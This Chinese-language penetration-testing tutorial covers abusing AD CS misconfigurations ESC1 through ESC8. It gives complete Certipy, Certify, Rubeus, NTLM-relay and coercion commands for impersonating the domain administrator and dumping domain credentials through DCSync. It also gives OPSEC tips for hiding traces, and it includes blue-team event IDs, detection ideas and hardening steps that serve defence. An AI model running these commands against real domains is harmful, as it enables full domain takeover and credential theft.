☰
AD‑CS 攻击全流程:ESC1‑ESC8 完整利用链、防护、踩坑汇总
2026/10/15 13:53:37 网站建设 项目流程

🔒免责声明:本文仅供授权渗透测试、红蓝对抗、安全运维学习,全部实验操作请在自建隔离靶场完成。未经授权对 Active Directory 域环境进行证书滥用、权限提升、内网渗透属于违法行为,请严格遵守网络安全相关法律法规。

前言

AD‑CS(Active Directory Certificate Services,活动目录证书服务)是微软为域环境实现 PKI 公钥基础设施的组件,用于签发域内机器、用户、服务证书,企业内部 VPN、802.1X、智能卡登录、TLS 加密大量依赖该服务。

很多运维部署 AD‑CS 时,直接使用默认模板,ACL 权限、证书模板 EKU、CA 属性配置不严,出现 ESC1~ESC8 八大经典错误配置,攻击者拿到普通域用户权限,即可通过申请恶意证书,利用 PKINIT 协议换取 TGT 票据,实现权限提升、DCSync 拿到域控权限,拿下整个域控制权。

在近几年护网、红蓝对抗实战中,AD‑CS 已经成为域内最容易打出高危漏洞的攻击面,很多靶场教程只给出成功执行命令,很少梳理利用前置条件、报错踩坑、完整攻击链路,蓝队加固方案也零散不全。

本文万字长文,完整讲解 AD‑CS 基础概念、信息收集手段,逐条拆解 ESC1‑ESC8 每一条错误配置:原理、触发条件、完整利用命令、攻击链路、实战踩坑报错,之后梳理组合利用链,红队 OPSEC 注意事项,蓝队审计日志、检测手段、完整加固方案。适合内网渗透学习者、红队人员、安全运维、护网应急工程师阅读。

前置工具说明

  • Certipy:Linux 平台最主流 AD‑CS 工具,枚举、申请证书、PKINIT 认证全套功能;
  • Certify:Windows 平台二进制工具,用于 Windows 主机本地枚举 AD‑CS 配置;
  • PetitPotam / Coercer:强制认证工具,用于 ESC8 攻击,诱导机器账号向攻击者发起 NTLM 认证;
  • Rubeus:拿到 pfx 证书后,执行 PKINIT 换取 TGT 票据;

核心协议 PKINIT:Kerberos 支持使用证书代替密码完成预认证,拿到合法客户端认证证书,就可以向 KDC 申请 TGT 票据,该机制是全部 ESC 攻击最终落地的基础。

一、AD‑CS 基础概念与前期信息收集

1.1 核心名词解释

  1. CA 证书颁发机构:企业根 CA、从属 CA,负责签发所有证书,AD‑CS 服务运行在 CA 服务器上;
  2. 证书模板 Template:定义证书属性,EKU 增强密钥用途、注册权限、主题名称标志、是否需要管理员审批;
  3. EKU 增强密钥用途:限定证书能干什么。Client Authentication(1.3.6.1.5.5.7.3.2)客户端认证,该 EKU 是绝大多数提权攻击必备,允许证书用于 Kerberos 登录;Any Purpose任意用途,证书可以做全部操作;Enrollment Agent注册代理,代表其他用户申请证书;
  4. SAN 主题备用名称:证书中可以写入 UPN,指定该证书代表哪一个域用户;
  5. msPKI‑Certificate‑Name‑Flag模板标志位:CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT(0x1)代表申请者请求时可以自定义 SAN;
  6. 注册权限 Enrollment rights:哪些用户、组有权限向该模板申请证书;
  7. CA 属性 EDITF_ATTRIBUTESUBJECTALTNAME2:CA 层面开关,允许请求修改 SAN,ESC6 漏洞依赖该属性。

1.2 实战信息收集完整命令

红队拿到普通域用户权限,第一步先枚举整个域内所有 CA、所有证书模板,筛选 ESC1‑ESC8 风险配置。

Linux Certipy 枚举
# 完整枚举域内AD‑CS全部CA、全部模板,自动识别ESC风险 certipy find -u lowuser@lab.local -p 'Password123!' -dc-ip 192.168.10.10 -v # 将结果保存为json,方便分析 certipy find -u lowuser@lab.local -p 'Password123!' -dc-ip 192.168.10.10 -output adcs.json
Windows Certify 枚举
.\Certify.exe find /vulnerable

输出结果中会直接标记 ESC1、ESC2、ESC3、ESC4 风险模板,优先利用简单的 ESC1,其次 ESC4、ESC8。

关键枚举要点:

  1. 有多少台 CA 服务器,CA 名称;
  2. 哪些模板标记为 VULNERABLE;
  3. 模板注册权限是否给普通域用户、Authenticated Users;
  4. 是否开启 Web 注册服务/certsrv(ESC8 依赖);
  5. CA 是否开启 EDITF_ATTRIBUTESUBJECTALTNAME2 属性(ESC6)。

二、ESC1~ESC8 逐条原理、条件、利用、踩坑

ESC1:申请者可提供 SAN(Enrollee Supplies Subject)

漏洞原理

证书模板开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,允许申请证书的人,在请求中自定义 SAN 主题备用名称,同时模板包含Client Authentication客户端认证 EKU。普通域用户拥有模板注册权限,不需要管理员审批,攻击者申请证书的时候,SAN 填写域管理员 UPN,拿到冒充域管理员的证书,通过 PKINIT 换取域管理员 TGT,直接提权域管。

全部必须同时满足条件
  1. 模板标志位开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,申请者可提供主题;
  2. EKU 包含Client Authentication/Smart Card Logon/Any Purpose;
  3. 普通域用户拥有该模板的 Enrollment 注册权限;
  4. 不需要经理审批(manager approval 关闭);
  5. 不需要授权签名。
Certipy 完整利用命令
# 请求证书,UPN填写域管理员账号 certipy req -u lowuser@lab.local -p 'Password123!' -ca lab‑DC‑CA -template VulnTemplate -upn administrator@lab.local -dc-ip 192.168.10.10

执行成功输出administrator.pfx证书文件。
使用证书 PKINIT 向 KDC 申请 TGT:

certipy auth -pfx administrator.pfx -dc-ip 192.168.10.10

拿到 NT 哈希,之后执行 DCSync 获取域内全部凭证。

Windows 环境 Certify + Rubeus 利用

.\Certify.exe request /ca:lab‑DC‑CA /template:VulnTemplate /altname:administrator@lab.local # 将得到的pem转换pfx,Rubeus asktgt执行pkinit Rubeus.exe asktgt /certificate:administrator.pfx /password:'' /ptt
ESC1 高频踩坑报错汇总
  1. Certificate Request Denied: The template is not valid

原因:没有关闭经理审批;或者账号没有模板注册权限。
解决:确认模板属性,取消 “需要经理审批”,确认当前用户具备 Enrollment 权限。

  1. PKINIT failed, KDC_ERR_CLIENT_NAME_MISMATCH

原因:证书 EKU 不对,没有客户端认证;或者 UPN 写错;域控没有安装 Kerberos 身份验证证书。
解决:确认模板 EKU,UPN 格式必须是administrator@lab.local完整 UPN,不要写单纯用户名。

  1. 返回证书成功,但是 certipy auth 无法获取 NT Hash

部分环境域控策略,PKINIT 拿到 TGT,但无法提取 NT 哈希;可以拿到 TGT 票据文件,使用 secretsdump 执行 DCSync。

  1. 很多新手混淆:不是所有允许自定义 SAN 的模板都能 ESC1,必须要有 Client Authentication EKU,否则证书不能用来 Kerberos 登录提权。

ESC2:Any Purpose 任意用途 EKU

漏洞原理

证书模板 EKU 为空,或者设置Any Purpose(2.5.29.37.0)任意用途。Any Purpose 代表该证书可以用于所有一切操作,包括客户端认证。如果同时允许申请者自定义 SAN,效果等同于 ESC1;即使不允许自定义 SAN,如果申请机器账号证书,也可以完成提权。

触发条件
  1. EKU 等于 Any Purpose,或者 EKU 字段为空;
  2. 低权限用户拥有模板注册权限;
  3. 不需要经理审批。

关键点:Any Purpose 覆盖 Client Authentication,证书可以用于 PKINIT Kerberos 认证。如果同时开启 Enrollee Supplies Subject,直接等同于 ESC1 攻击链路。

利用方式

和 ESC1 命令完全一致,请求证书指定 UPN 为域管理员。

certipy req -u lowuser@lab.local -p 'xxx' -ca lab‑DC‑CA -template ESC2‑Template -upn administrator@lab.local -dc-ip 192.168.10.10 certipy auth -pfx administrator.pfx -dc-ip 192.168.10.10
ESC2 踩坑

很多运维误以为没有写 Client Authentication 就安全,忽略 Any Purpose,Any Purpose 权限极大,相当于全部 EKU 全部开启。加固的时候,禁止业务模板使用 Any Purpose。


ESC3:注册代理漏洞 Enrollment Agent

漏洞原理

模板 EKU 包含Certificate Request Agent(1.3.6.1.5.5.7.3.7)注册代理 EKU。注册代理证书允许一个用户代表其他任意用户向 CA 申请证书。攻击者先申请一张注册代理证书,之后使用该代理证书,代表域管理员去申请一张客户端认证证书,拿到域管理员证书完成提权。

触发条件
  1. 模板 EKU 包含Certificate Request Agent注册代理;
  2. 低权限用户拥有该模板注册权限;
  3. 不需要经理审批。

攻击分为两步:第一步拿到代理证书;第二步拿着代理证书代表高权限用户申请客户端认证证书。

Certipy 完整利用
# 第一步,获取注册代理证书 certipy req -u lowuser@lab.local -p 'xxx' -ca lab‑DC‑CA -template AgentTemplate -dc-ip 192.168.10.10 # 第二步,使用代理证书,代表administrator申请证书 certipy req -u lowuser@lab.local -p 'xxx' -ca lab‑DC‑CA -template User -on‑behalf‑of administrator@lab.local -pfx agent.pfx -dc-ip 192.168.10.10 # 第三步,拿到administrator.pfx,PKINIT认证 certipy auth -pfx administrator.pfx -dc-ip 192.168.10.10
ESC3 踩坑
  1. 代理证书只能用来 “代为申请证书”,代理证书本身不能直接用来 PKINIT 登录,很多人拿到 agent.pfx 直接执行 certipy auth,会报错 PKINIT 失败。必须第二步代为申请普通用户认证证书。
  2. 代为申请的目标模板,必须是普通用户可注册、具备 Client Authentication 的模板。

ESC4:低权限用户拥有证书模板写入权限

漏洞原理

攻击者账号对证书模板对象拥有 ACL 写权限:WriteDacl / WriteProperty / FullControl。攻击者本身不能直接利用现有模板,但是可以修改模板配置,把模板修改成 ESC1 的状态:开启 Enrollee Supplies Subject、添加 Client Authentication EKU,之后自己申请恶意证书完成提权,攻击完成后可以恢复模板配置,做到痕迹隐藏。

ESC4 属于间接利用链,模板本身不是漏洞,但是 ACL 权限宽松,攻击者篡改模板制造 ESC1 条件。

触发条件
  1. 攻击者账号拥有模板的 WriteDacl / WriteProperty / WriteOwner / FullControl 权限;
  2. 模板本身启用,CA 允许签发该模板证书。
Certipy 利用命令
# 修改模板,改成ESC1可利用状态 certipy template -u lowuser@lab.local -p 'xxx' -template NormalTemplate -save‑old old.json -dc-ip 192.168.10.10 # 修改完成,执行ESC1申请证书 certipy req -u lowuser@lab.local -p 'xxx' -ca lab‑DC‑CA -template NormalTemplate -upn administrator@lab.local -dc-ip 192.168.10.10 # 攻击结束,恢复模板原始配置(OPSEC非常重要) certipy template -u lowuser@lab.local -p 'xxx' -template NormalTemplate -restore old.json -dc-ip 192.168.10.10
ESC4 高频踩坑
  1. 修改模板之后 AD 复制延迟,域内多站点环境,修改模板不会立刻生效,等待 AD 复制或者重启 CA 服务;
  2. 忘记恢复模板,蓝队审计直接抓到篡改痕迹;
  3. 部分模板是内置系统模板,禁止修改,修改会返回拒绝访问。

实战中 ESC4 是红队非常高频的利用链,很多运维给业务人员分配模板修改权限,造成严重风险。


ESC5:CA 对象 ACL 权限配置不当

漏洞原理

攻击者对 CA 服务器的 CA 对象本身拥有高权限:ManageCA / ManageCertificates。

  • ManageCA 权限:可以修改 CA 配置,包括开启 ESC6 的 EDITF_ATTRIBUTESUBJECTALTNAME2 属性;
  • ManageCertificates 权限:可以审批所有挂起的证书申请,手动颁发证书。

ESC5 本身不是直接漏洞,是权限前置条件,用来触发 ESC6,或者审批需要经理审批的恶意证书请求。

触发条件

攻击者账号拥有 CA 对象 ACL:ManageCA 或者 ManageCertificates 权限。

利用思路

场景 1:拥有 ManageCA,开启 CA 属性 EDITF_ATTRIBUTESUBJECTALTNAME2,触发 ESC6 攻击;
场景 2:拥有 ManageCertificates,提交一份需要经理审批的证书请求,攻击者手动审批签发证书,拿到恶意证书。

踩坑

ESC5 是权限基础,单独无法直接提权,必须搭配其他链路使用,很多初学者拿到 ESC5 不知道下一步怎么做。


ESC6:CA 层面开启 EDITF_ATTRIBUTESUBJECTALTNAME2

漏洞原理

CA 服务器注册表开启属性EDITF_ATTRIBUTESUBJECTALTNAME2。该属性是 CA 全局开关,忽略证书模板配置,允许所有证书请求自定义 SAN。哪怕模板没有开启 Enrollee Supplies Subject,只要该 CA 开关打开,攻击者申请证书时可以自定义 SAN 为域管理员,拿到恶意证书实现提权。

该开关历史上用于兼容旧软件,很多测试环境运维随手开启,造成全域风险。开启该属性,整个 CA 所有模板全部受到影响。

触发条件
  1. CA 注册表开启EDITF_ATTRIBUTESUBJECTALTNAME2;
  2. 攻击者可以向 CA 申请任意具备 Client Authentication EKU 的模板证书,不需要模板开启申请者提供 SAN 标志位。

开启位置注册表:HKLM\System\CurrentControlSet\Services\CertSvc\Configuration\<CA‑NAME>

利用命令

和 ESC1 几乎一致,不需要模板开启 ENROLLEE_SUPPLIES_SUBJECT 标志:

certipy req -u lowuser@lab.local -p 'xxx' -ca lab‑DC‑CA -template User -upn administrator@lab.local -dc-ip 192.168.10.10 certipy auth -pfx administrator.pfx -dc-ip 192.168.10.10
ESC6 踩坑
  1. 修改注册表开启该属性之后,必须重启 CertSvc 证书服务才会生效;
  2. 该属性作用于整个 CA,风险极大,只要开启,域内只要能注册任意客户端认证模板即可提权;
  3. Certipy find 枚举会标记 CA 开启该属性。

ESC7:CA 管理权限滥用(和 ESC5 关联)

行业资料中 ESC7 即 CA 对象 ACL 滥用,和 ESC5 高度重合:

  • ManageCA:管理 CA 配置;
  • ManageCertificates:管理证书申请审批。

攻击路径:

  1. ManageCA 权限可以修改 CA 配置,开启 EDITF_ATTRIBUTESUBJECTALTNAME2,达成 ESC6;
  2. ManageCertificates 权限,提交需要审批的证书请求,攻击者手动批准请求,签发恶意证书。

实战中 ESC5 与 ESC7 经常合并看待,属于 CA 对象 ACL 宽松导致攻击前置条件。

踩坑:很多同学分不清 ESC5、ESC7,记住:模板 ACL 问题是 ESC4;CA 对象本身 ACL 权限宽松是 ESC5/ESC7。


ESC8:NTLM Relay 中继到 AD‑CS Web 注册服务 /certsrv

漏洞原理

AD‑CS 安装 Web 注册组件 IIS/certsrv接口。该 IIS 端点支持 NTLM 认证。攻击者使用强制认证工具(PetitPotam、Coercer)诱导域控机器账号向攻击者 IP 发起 NTLM 认证,攻击者进行 NTLM 中继,把域控机器账号的认证中继到http://ca‑server/certsrv,以域控机器账号身份向 CA 申请域控制器模板证书,拿到域控机器账号证书,使用 PKINIT 拿到域控机器账号 TGT,执行 DCSync,直接 dump 域全部凭证。

ESC8 不需要域内低权限账号凭证,只需要内网可达,能够强制机器认证,是非常危险的攻击链路。
防御关键点:IIS 开启 EPA(Extended Protection for Authentication)扩展认证保护,直接阻止 NTLM Relay,现在新版域环境默认开启 EPA,ESC8 很难复现。

触发全部条件
  1. CA 服务器安装 Web 注册服务 IIS /certsrv;
  2. IIS 站点没有开启 EPA 扩展认证保护;
  3. 内网存在强制认证漏洞(PetitPotam,MS‑EFSRPC 等),可以诱导机器账号连接攻击者;
  4. 域控制器模板允许机器账号注册证书。
Certipy‑relay 完整利用链路
# 1. 启动certipy relay监听 certipy relay -ca lab‑DC‑CA -template DomainController # 2. 新开终端,使用coercer诱导域控连接攻击机器IP coercer coerce -u lowuser@lab.local -p 'xxx' -dc-ip 192.168.10.10 -target 192.168.10.20

中继成功之后,直接得到dc01$机器账号 pfx 证书,执行 certipy auth 拿到域控机器 TGT,DCSync。

ESC8 高频踩坑
  1. 已经开启 EPA 扩展认证保护 → ESC8 直接失效,无法中继,现代 Windows Server2019 + 默认开启 EPA,靶场环境容易成功,真实生产环境经常失败;
  2. 防火墙拦截 445 端口,无法强制认证;
  3. 目标 CA 没有安装 Web 注册服务/certsrv,ESC8 不具备攻击条件;
  4. 只能中继机器账号,普通用户账号中继申请 DomainController 模板会被拒绝;
  5. 强制认证失败:Windows 补丁修复 PetitPotam 漏洞,MS‑EFSRPC 被打补丁,无法诱导机器访问攻击者 IP。

ESC8 攻击不需要修改任何 AD 对象,不留模板修改痕迹,蓝队只能依靠审计 IIS、CA 证书签发日志检测。

三、AD‑CS 组合利用链实战场景

场景 1:普通域用户,存在 ESC1 模板

最简链路:枚举发现 ESC1 → 请求带有管理员 SAN 证书 → PKINIT 拿 TGT → DCSync 导出域凭证。绝大多数靶场的场景。

场景 2:普通域用户,没有 ESC1,但用户对模板拥有 WriteDacl 权限 ESC4

链路:修改模板制造 ESC1 条件 → 申请恶意证书 → PKINIT 提权 →恢复模板配置。不恢复模板会留下明显篡改痕迹。

场景 3:账号拥有 CA 的 ManageCA 权限 ESC5

链路:开启 CA 注册表 EDITF_ATTRIBUTESUBJECTALTNAME2(ESC6)→ 申请任意 User 模板,自定义 SAN 域管理员 → 提权。

场景 4:内网无账号,存在未开启 EPA 的 certsrv(ESC8)

链路:强制域控机器 NTLM 认证 → relay 中继到 certsrv → 获取域控制器证书 → DCSync 拿域控。

四、红队实战 OPSEC 踩坑汇总(高频问题整理)

  1. 证书申请成功,但是 PKINIT 返回 KDC_ERR_CLIENT_NAME_MISMATCH
    排查顺序:
    ①确认证书 EKU 是否具备 Client Authentication;②UPN 书写格式,必须完整 user@domain.local;③域控服务器必须拥有 Kerberos 身份验证证书;④证书的 SID 安全扩展是否正确。
  2. certipy auth 拿不到 NT Hash,但是可以拿到 TGT 票据

部分高安全域策略禁止 PKINIT 导出 NT 哈希。解决:保存 ccache 票据,使用 secretsdump 通过 kerberos 票据执行 DCSync。

export KRB5CCNAME=administrator.ccache secretsdump.py lab.local/administrator@dc01.lab.local -k -no‑pass
  1. 多站点 AD 环境,修改模板后利用失败
    AD 复制延迟,修改模板对象之后,等待几分钟 AD 复制完成,或者直接操作 CA 所在域控。ESC4 修改模板经常遇到该坑。
  2. 不要遗忘 ESC4 攻击完成恢复模板配置
    如果没有 restore 恢复模板,模板配置永久改变,4899 事件记录模板修改,蓝队一眼就能定位入侵行为。
  3. ESC8 失败优先检查 EPA 状态
    现在大量企业 IIS 已经开启 EPA,ESC8 已经很难利用,不要死磕 ESC8。
  4. 时间同步问题
    证书、Kerberos PKINIT 对时间严格校验,攻击主机与域控时间差不能超过 5 分钟,否则 PKINIT 直接报错。
  5. 机器账号证书和用户账号证书区分
    ESC8 拿到的是域控机器账号 dc01(证书,UPN格式为dc01\)@lab.local,不能填写普通管理员 UPN。
  6. Certipy 执行报错 CA not found

CA 名称大小写敏感,使用 certipy find 输出中完整 CA 名称复制粘贴。

五、蓝队视角:日志审计、检测手段、完整加固方案

5.1 AD‑CS 关键安全事件 ID(必须开启 CA 审计)

CA 服务器上开启证书服务审计,关键事件 ID:

  1. 4886:证书请求收到;
  2. 4887:证书成功颁发;
  3. 4888:证书请求拒绝;
  4. 4899:证书模板对象被修改(ESC4 攻击必产生此日志);
  5. 目录服务审计 4662:模板对象 ACL 属性修改;

绝大多数企业默认没有开启 CA 审计,入侵发生后没有任何日志留存,加固第一步务必开启 CA 审计日志。

5.2 检测告警规则思路

  1. 监控 4887 证书签发事件,监控异常证书:短时间大量客户端认证证书;普通域用户申请高权限模板;证书 SAN 为域管理员;
  2. 监控事件 4899 证书模板修改,一旦模板被修改立刻告警;
  3. 检测 CA 注册表EDITF_ATTRIBUTESUBJECTALTNAME2属性,该属性非业务需要必须禁止;
  4. IIS 日志审计/certsrv访问,监控大量 POST 证书申请请求;
  5. MDI (Microsoft Defender for Identity) 内置 AD‑CS 攻击检测规则,检测 ESC1、ESC8 证书滥用行为。

5.3 ESC1‑ESC8 逐条加固修复方案

漏洞编号加固方案
ESC1模板主题名称,改为 “从 Active Directory 生成信息”,关闭Enrollee Supplies Subject;高风险模板开启经理审批;严格控制注册权限,禁止普通 Authenticated Users 注册高权限模板
ESC2禁止模板设置 Any Purpose,业务需要则精准限定 EKU 列表,删除 Any Purpose;
ESC3业务不需要则删除Certificate Request Agent注册代理 EKU;严格限制代理模板注册权限;
ESC4收紧证书模板对象 ACL,普通用户禁止 WriteDacl、WriteProperty 权限;定期审计所有模板 ACL 权限;
ESC5/ESC7收紧 CA 对象 ACL,ManageCA、ManageCertificates 权限只分配给 PKI 管理员组;禁止普通运维拥有该权限;
ESC6删除 CA 注册表EDITF_ATTRIBUTESUBJECTALTNAME2,重启 CertSvc 服务;该属性非兼容业务严禁开启;
ESC8Web 注册站点 IIS 开启EPA 扩展认证保护;不需要 certsrv 功能直接卸载 Web 注册组件;禁用 NTLM;强制使用 HTTPS 访问 certsrv 接口

5.4 企业整体 AD‑CS 安全最佳实践

  1. 定期使用 Certipy / Certify 对全部 CA、全部证书模板做周期性漏洞巡检,自动化扫描 ESC1‑ESC8 风险配置;
  2. 最小权限原则:模板注册权限不要赋予 Authenticated Users,只给业务需要的用户组;
  3. 高风险证书模板开启经理审批,证书请求必须管理员手动批准之后才签发;
  4. 开启 CA 完整审计日志,日志转发 SIEM 平台告警;
  5. 不需要的模板直接禁用,减少攻击面;
  6. 保护 CA 服务器,高权限,防止攻击者读取 CA 私钥生成黄金证书;有条件使用 HSM 硬件安全模块保护 CA 私钥;
  7. 关闭不需要 Web 注册组件,如果业务必须使用 certsrv,务必开启 EPA,强制 HTTPS,关闭 NTLM 认证。

重要认知:很多运维以为 AD‑CS 只是签发证书的组件,实际上配置错误可以直接导致域沦陷,是域内最高危攻击面之一。关闭 NTLM 并不能防御全部 AD‑CS 攻击,大部分 ESC 攻击全程使用 Kerberos 协议。

六、常见认知误区总结

误区 1:证书只是 TLS 用的,不会影响域权限

❌错误。PKINIT 协议允许证书直接代替密码完成 Kerberos 预认证,一张恶意客户端证书等价于账号密码,直接获取 TGT 票据。

误区 2:只要不给普通用户域管理员权限就安全

❌错误。AD‑CS 模板配置错误,普通域用户可以申请冒充域管理员的证书,不需要域管本地权限。

误区 3:ESC8 攻击可以复现在所有生产环境

❌错误。IIS 开启 EPA 扩展认证保护之后,NTLM Relay 完全失效,新版 Windows 默认开启 EPA,ESC8 实战条件苛刻。

误区 4:Any Purpose 只是普通 EKU,没有风险

❌错误。Any Purpose 等于开启全部 EKU,包括客户端认证,极易提权。

误区 5:ESC4 修改模板攻击,不会留下日志

❌错误。修改模板对象会产生 4899 事件,不做 restore 恢复,痕迹非常明显。

误区 6:关闭 NTLM 可以防御所有 AD‑CS 攻击

❌错误。ESC1‑ESC7 全部走 Kerberos 证书申请,不依赖 NTLM;关闭 NTLM 只能防御 ESC8。

七、总结

AD‑CS 八大错误配置 ESC1‑ESC8 是现代域环境最经典的提权攻击链,攻击核心逻辑:利用模板、CA 的配置缺陷,申请一张具备 Client Authentication EKU 的恶意证书,使用 PKINIT 协议换取高权限 TGT 票据,最后 DCSyncdump 域凭证。

简单回顾各漏洞核心定位:

  1. ESC1:模板允许申请者自定义 SAN,最经典最简单提权;
  2. ESC2:Any Purpose 任意用途 EKU;
  3. ESC3:注册代理证书,代表他人申请证书;
  4. ESC4:普通用户拥有模板写权限,篡改模板制造 ESC1 条件;
  5. ESC5/ESC7:CA 对象 ACL 权限宽松,拥有 ManageCA/ManageCertificates;
  6. ESC6:CA 全局开启 EDITF_ATTRIBUTESUBJECTALTNAME2,全部模板允许自定义 SAN;
  7. ESC8:NTLM Relay 中继 Web 注册服务 /certsrv,不需要账号凭证。

实战踩坑集中在:EKU 配置错误、UPN 格式错误、EPA 阻止 ESC8 攻击、AD 复制延迟导致 ESC4 修改模板不生效、时间不同步、忘记恢复模板配置、混淆代理证书与登录证书。

蓝队防御重点:关闭非必要模板功能,收紧模板与 CA 的 ACL 权限,开启 CA 审计日志,开启 IIS EPA 保护,定期自动化巡检全部证书模板配置。

红队实战顺序建议:枚举全部模板优先找 ESC1,其次 ESC2、ESC3;没有直接漏洞寻找 ESC4 模板写权限;内网无账号尝试 ESC8;拿到证书务必注意 PKINIT 时间同步,攻击完成清理痕迹。


最后

关于网络安全技术储备

学好网络安全不论是就业还是做副业赚钱都不错,但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!

对于0基础小白入门:

如果你是零基础小白,想快速入门网络安全是可以考虑的。

一方面是学习时间相对较短,学习内容更全面更集中。

二方面是可以找到适合自己的学习方案

包括:网安成长学习路线图、SRC&黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全!

需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)

👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

随着互联网技术的飞速发展,网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等,以其强大的语言理解和防御能力,正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。

👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询